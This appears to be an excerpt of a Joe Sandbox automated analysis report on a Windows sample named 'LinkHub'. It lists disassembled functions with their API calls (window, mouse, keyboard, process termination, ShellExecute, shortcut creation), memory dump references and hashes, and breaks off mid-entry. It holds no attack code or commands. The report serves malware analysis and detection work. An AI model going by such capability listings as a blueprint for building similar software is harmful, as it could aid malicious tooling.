                                                                            Function 00E52D37 Relevance: 9.1, APIs: 6, Instructions: 103COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetForegroundWindow.USER32(?,?,00000000), ref: 00E52D45
                                                                              • Part of subcall function 00E4EF33: GetWindowRect.USER32(?,?), ref: 00E4EF4B
                                                                            • GetDesktopWindow.USER32 ref: 00E52D6F
                                                                            • GetWindowRect.USER32(00000000), ref: 00E52D76
                                                                            • mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00E52DB2
                                                                            • GetCursorPos.USER32(?), ref: 00E52DDE
                                                                            • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00E52E3C
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$Rectmouse_event$CursorDesktopForeground
                                                                            • String ID:
                                                                            • API String ID: 2387181109-0
                                                                            • Opcode ID: ff58bd5cd3bfc0a6b379e370e65a74a7591e79a39cb307600a15534c1285cc3c
                                                                            • Instruction ID: 799ffbb464eb1182a5e67686a07741c521c41dcca173e7139712256141468d47
                                                                            • Opcode Fuzzy Hash: ff58bd5cd3bfc0a6b379e370e65a74a7591e79a39cb307600a15534c1285cc3c
                                                                            • Instruction Fuzzy Hash: BB31EF72A09315AFC720DF14DC49B9BBBA9FB85354F00091EF985B7191DB71E908CB92
                                                                            Function 00E355E1 Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • IsWindowVisible.USER32(?), ref: 00E355F9
                                                                            • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00E35616
                                                                            • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00E3564E
                                                                            • _wcslen.LIBCMT ref: 00E3566C
                                                                            • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00E35674
                                                                            • _wcsstr.LIBVCRUNTIME ref: 00E3567E
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
                                                                            • String ID:
                                                                            • API String ID: 72514467-0
                                                                            • Opcode ID: 9bbb4123ba3a6489a635fcfcac3fadc3576e5df7325438cea25af5c5c30cf064
                                                                            • Instruction ID: f34baa395652adeb96be325e06c2ea9dd509bc184bf6586e1de61d6f7cc11847
                                                                            • Opcode Fuzzy Hash: 9bbb4123ba3a6489a635fcfcac3fadc3576e5df7325438cea25af5c5c30cf064
                                                                            • Instruction Fuzzy Hash: 17213772604604BBEB155B25EC0AE7B7FA8DF44750F158029F905EA191EAA1DC40C6B0
                                                                            Function 00E46263 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD5851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00DD55D1,?,?,00E14B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00DD5871
                                                                            • _wcslen.LIBCMT ref: 00E462C0
                                                                            • CoInitialize.OLE32(00000000), ref: 00E463DA
                                                                            • CoCreateInstance.OLE32(00E70CC4,00000000,00000001,00E70B34,?), ref: 00E463F3
                                                                            • CoUninitialize.OLE32 ref: 00E46411
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
                                                                            • String ID: .lnk
                                                                            • API String ID: 3172280962-24824748
                                                                            • Opcode ID: b07971cb52f8840adb13f1d279614fcce9aedee585adfd85e2e02a580d5f2347
                                                                            • Instruction ID: d666f7e3ae6847fd5accf81091e7995140cbdaf8ec7075adf972460e678c00e0
                                                                            • Opcode Fuzzy Hash: b07971cb52f8840adb13f1d279614fcce9aedee585adfd85e2e02a580d5f2347
                                                                            • Instruction Fuzzy Hash: B8D13371A042019FC714DF25D484A2ABBF5FF8A714F14985DF889AB361CB31EC45CBA2
                                                                            Function 00DF36F2 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetLastError.KERNEL32(?,?,00DF36E9,00DF3355), ref: 00DF3700
                                                                            • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00DF370E
                                                                            • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00DF3727
                                                                            • SetLastError.KERNEL32(00000000,?,00DF36E9,00DF3355), ref: 00DF3779
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ErrorLastValue___vcrt_
                                                                            • String ID:
                                                                            • API String ID: 3852720340-0
                                                                            • Opcode ID: 83177fed5e75061524e52d4ee77c95d6b7ffd1fa17db8090067e0bd48ac3d031
                                                                            • Instruction ID: b56b39ebe9a562e4011bf01970cf1377bc23db66ca5111afff44e90d8f2aa6e1
                                                                            • Opcode Fuzzy Hash: 83177fed5e75061524e52d4ee77c95d6b7ffd1fa17db8090067e0bd48ac3d031
                                                                            • Instruction Fuzzy Hash: C60128B264D3292EE62537B6BDC65772A95EB04771733422BF710901F0EF918D165170
                                                                            Function 00E030E7 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetLastError.KERNEL32(?,?,00E02908,00E99B48,0000000C,00DF3268,00000001,?,?), ref: 00E030EB
                                                                            • _free.LIBCMT ref: 00E0311E
                                                                            • _free.LIBCMT ref: 00E03146
                                                                            • SetLastError.KERNEL32(00000000), ref: 00E03153
                                                                            • SetLastError.KERNEL32(00000000), ref: 00E0315F
                                                                            • _abort.LIBCMT ref: 00E03165
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ErrorLast$_free$_abort
                                                                            • String ID:
                                                                            • API String ID: 3160817290-0
                                                                            • Opcode ID: fafcf58869b97cb9a04547a834e5d6e4e3e3223f5df8eedbcb397371b293514f
                                                                            • Instruction ID: 3d062bf40e9367438299fe43de22d4eeab55a19b4048064b095ffd00189f22f4
                                                                            • Opcode Fuzzy Hash: fafcf58869b97cb9a04547a834e5d6e4e3e3223f5df8eedbcb397371b293514f
                                                                            • Instruction Fuzzy Hash: 73F04276A4A5006BC2113736BC0AA5F16DD9FC9775F212519FB14F22E2EF708EC64161
                                                                            Function 00E69480 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD1F2D: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00DD1F87
                                                                              • Part of subcall function 00DD1F2D: SelectObject.GDI32(?,00000000), ref: 00DD1F96
                                                                              • Part of subcall function 00DD1F2D: BeginPath.GDI32(?), ref: 00DD1FAD
                                                                              • Part of subcall function 00DD1F2D: SelectObject.GDI32(?,00000000), ref: 00DD1FD6
                                                                            • MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00E694AA
                                                                            • LineTo.GDI32(?,00000003,00000000), ref: 00E694BE
                                                                            • MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00E694CC
                                                                            • LineTo.GDI32(?,00000000,00000003), ref: 00E694DC
                                                                            • EndPath.GDI32(?), ref: 00E694EC
                                                                            • StrokePath.GDI32(?), ref: 00E694FC
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                                                            • String ID:
                                                                            • API String ID: 43455801-0
                                                                            • Opcode ID: cb64dc922086c0fdbf7ee8dcf05139697896f690ad2964815d7ed491bb8b33d1
                                                                            • Instruction ID: 50eea1e207b8562ad6a8499032ca47d238036303bbbfab4050b31834c3d8ed4c
                                                                            • Opcode Fuzzy Hash: cb64dc922086c0fdbf7ee8dcf05139697896f690ad2964815d7ed491bb8b33d1
                                                                            • Instruction Fuzzy Hash: 77111B7650410DBFDF029F95EC88E9B7F6DEF083A4F008011FA196A161C7B1AD59DBA0
                                                                            Function 00E35B61 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetDC.USER32(00000000), ref: 00E35B7C
                                                                            • GetDeviceCaps.GDI32(00000000,00000058), ref: 00E35B8D
                                                                            • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00E35B94
                                                                            • ReleaseDC.USER32(00000000,00000000), ref: 00E35B9C
                                                                            • MulDiv.KERNEL32(000009EC,?,00000000), ref: 00E35BB3
                                                                            • MulDiv.KERNEL32(000009EC,00000001,?), ref: 00E35BC5
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CapsDevice$Release
                                                                            • String ID:
                                                                            • API String ID: 1035833867-0
                                                                            • Opcode ID: 3860327d44dcf51ae2572985963fa39fe35acdf1cff3f7431a3453937394b387
                                                                            • Instruction ID: deb711c0992770c45b02c67130ec2aa67e25a46c1219bb67d63dc1faf6259b63
                                                                            • Opcode Fuzzy Hash: 3860327d44dcf51ae2572985963fa39fe35acdf1cff3f7431a3453937394b387
                                                                            • Instruction Fuzzy Hash: 17012175E04718BBEB109BA69C49E4EBFA8EB48751F004065EA05B7280D6B09804CF91
                                                                            Function 00DD327E Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • MapVirtualKeyW.USER32(0000005B,00000000), ref: 00DD32AF
                                                                            • MapVirtualKeyW.USER32(00000010,00000000), ref: 00DD32B7
                                                                            • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00DD32C2
                                                                            • MapVirtualKeyW.USER32(000000A1,00000000), ref: 00DD32CD
                                                                            • MapVirtualKeyW.USER32(00000011,00000000), ref: 00DD32D5
                                                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 00DD32DD
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Virtual
                                                                            • String ID:
                                                                            • API String ID: 4278518827-0
                                                                            • Opcode ID: 40826b2da3ad16651fca10cb51c930b75325c3d18d18c8dbdc87a69797deddd2
                                                                            • Instruction ID: 6c89328857eec064fbbecaed6b3003d9e779fcc80bba74f31c09e47f3f684de6
                                                                            • Opcode Fuzzy Hash: 40826b2da3ad16651fca10cb51c930b75325c3d18d18c8dbdc87a69797deddd2
                                                                            • Instruction Fuzzy Hash: 280148B090175A7DE3008F5A8C85A56FFA8FF19354F00411BD15C4B941C7F5A864CBE5
                                                                            Function 00E3F437 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00E3F447
                                                                            • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00E3F45D
                                                                            • GetWindowThreadProcessId.USER32(?,?), ref: 00E3F46C
                                                                            • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00E3F47B
                                                                            • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00E3F485
                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00E3F48C
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                            • String ID:
                                                                            • API String ID: 839392675-0
                                                                            • Opcode ID: cfc089fcad9759ac5d8fc2f23c0d15d53b69f5c15eef5bf022a0f71f48d87217
                                                                            • Instruction ID: 02103b2a4e9a0ec4dbc685e162e91721656facbb09fcf3ce95df7c2205d2527c
                                                                            • Opcode Fuzzy Hash: cfc089fcad9759ac5d8fc2f23c0d15d53b69f5c15eef5bf022a0f71f48d87217
                                                                            • Instruction Fuzzy Hash: C4F06D32B45158BFE7205753AC0EEEF3E7CEBCAB51F400018F611E109096E02A05C6B6
                                                                            Function 00E134D6 Relevance: 9.0, APIs: 6, Instructions: 39windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetClientRect.USER32(?), ref: 00E134EF
                                                                            • SendMessageW.USER32(?,00001328,00000000,?), ref: 00E13506
                                                                            • GetWindowDC.USER32(?), ref: 00E13512
                                                                            • GetPixel.GDI32(00000000,?,?), ref: 00E13521
                                                                            • ReleaseDC.USER32(?,00000000), ref: 00E13533
                                                                            • GetSysColor.USER32(00000005), ref: 00E1354D
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ClientColorMessagePixelRectReleaseSendWindow
                                                                            • String ID:
                                                                            • API String ID: 272304278-0
                                                                            • Opcode ID: b1d694edf521c1dc13f5d6e82827bc9d67b5862e501ab8749a75665c6586a9d7
                                                                            • Instruction ID: 725bca102a8f2646d4a511c89d60f70c9e8440f1261672a44cf1fd1dc23d26cd
                                                                            • Opcode Fuzzy Hash: b1d694edf521c1dc13f5d6e82827bc9d67b5862e501ab8749a75665c6586a9d7
                                                                            • Instruction Fuzzy Hash: 6C018F31A04105EFDB115F65EC08BEA7BB2FB08750F900120F916B21A0CB711E859B51
                                                                            Function 00E321C1 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00E321CC
                                                                            • UnloadUserProfile.USERENV(?,?), ref: 00E321D8
                                                                            • CloseHandle.KERNEL32(?), ref: 00E321E1
                                                                            • CloseHandle.KERNEL32(?), ref: 00E321E9
                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 00E321F2
                                                                            • HeapFree.KERNEL32(00000000), ref: 00E321F9
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                            • String ID:
                                                                            • API String ID: 146765662-0
                                                                            • Opcode ID: 6adf0cad41a0a32caf19188c81b1c25b91bae6c4539085542574043c0da56826
                                                                            • Instruction ID: d5d4ee7e37123c980e68a8307eac109534f569281430ff5325803459b4e8db22
                                                                            • Opcode Fuzzy Hash: 6adf0cad41a0a32caf19188c81b1c25b91bae6c4539085542574043c0da56826
                                                                            • Instruction Fuzzy Hash: E2E0C276608145BFDB011BA3FC0C90ABF29FB4A3A2B904221F225E2170CBB2A424DB51
                                                                            Function 00E5B7C4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • ShellExecuteExW.SHELL32(0000003C), ref: 00E5B903
                                                                              • Part of subcall function 00DD41EA: _wcslen.LIBCMT ref: 00DD41EF
                                                                            • GetProcessId.KERNEL32(00000000), ref: 00E5B998
                                                                            • CloseHandle.KERNEL32(00000000), ref: 00E5B9C7
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CloseExecuteHandleProcessShell_wcslen
                                                                            • String ID: <$@
                                                                            • API String ID: 146682121-1426351568
                                                                            • Opcode ID: ccfcfe54c79a8b49f2a93d5686645fb09d4975d143e3123cad72136490791da6
                                                                            • Instruction ID: 561f0bdb9e577068089f3e72d1e7c25c0492a22080e2798a5d695cfbd7468fc3
                                                                            • Opcode Fuzzy Hash: ccfcfe54c79a8b49f2a93d5686645fb09d4975d143e3123cad72136490791da6
                                                                            • Instruction Fuzzy Hash: C9716974A00219DFCB14EF54C895A9EBBF4FF08314F04889AE855AB352CB71ED49CBA0
                                                                            Function 00E64818 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E648D1
                                                                            • IsMenu.USER32(?), ref: 00E648E6
                                                                            • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00E6492E
                                                                            • DrawMenuBar.USER32 ref: 00E64941
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Menu$Item$DrawInfoInsert
                                                                            • String ID: 0
                                                                            • API String ID: 3076010158-4108050209
                                                                            • Opcode ID: 961261e19ac986f934f1bc26480426708df96e4edc7209f1b19a2c0117fcc281
                                                                            • Instruction ID: faf44d620e8639ef200ce3595cf7912ff41eeaf3e39bc1fa42905b310ee88b92
                                                                            • Opcode Fuzzy Hash: 961261e19ac986f934f1bc26480426708df96e4edc7209f1b19a2c0117fcc281
                                                                            • Instruction Fuzzy Hash: 0C414CB5A4024AEFDB10CF55E884AAABBB5FF463A8F045119F955A7390C730AD44CB60
                                                                            Function 00E3272F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                              • Part of subcall function 00E345FD: GetClassNameW.USER32(?,?,000000FF), ref: 00E34620
                                                                            • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00E327B3
                                                                            • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00E327C6
                                                                            • SendMessageW.USER32(?,00000189,?,00000000), ref: 00E327F6
                                                                              • Part of subcall function 00DD8577: _wcslen.LIBCMT ref: 00DD858A
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$_wcslen$ClassName
                                                                            • String ID: ComboBox$ListBox
                                                                            • API String ID: 2081771294-1403004172
                                                                            • Opcode ID: 861628ca5f90fadcff35fb1c8456e28cb1583618bb869b427d1e548c73992f0e
                                                                            • Instruction ID: 73a05b8b497f886bd86792c591ef3444c35e2edeb8365db0671bb3bc2b26c9c3
                                                                            • Opcode Fuzzy Hash: 861628ca5f90fadcff35fb1c8456e28cb1583618bb869b427d1e548c73992f0e
                                                                            • Instruction Fuzzy Hash: AB210471E00204BEDB09AB64DC49DFE7BB8DF453A4F10512AF551B32E1DB745909D670
                                                                            Function 00E639B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
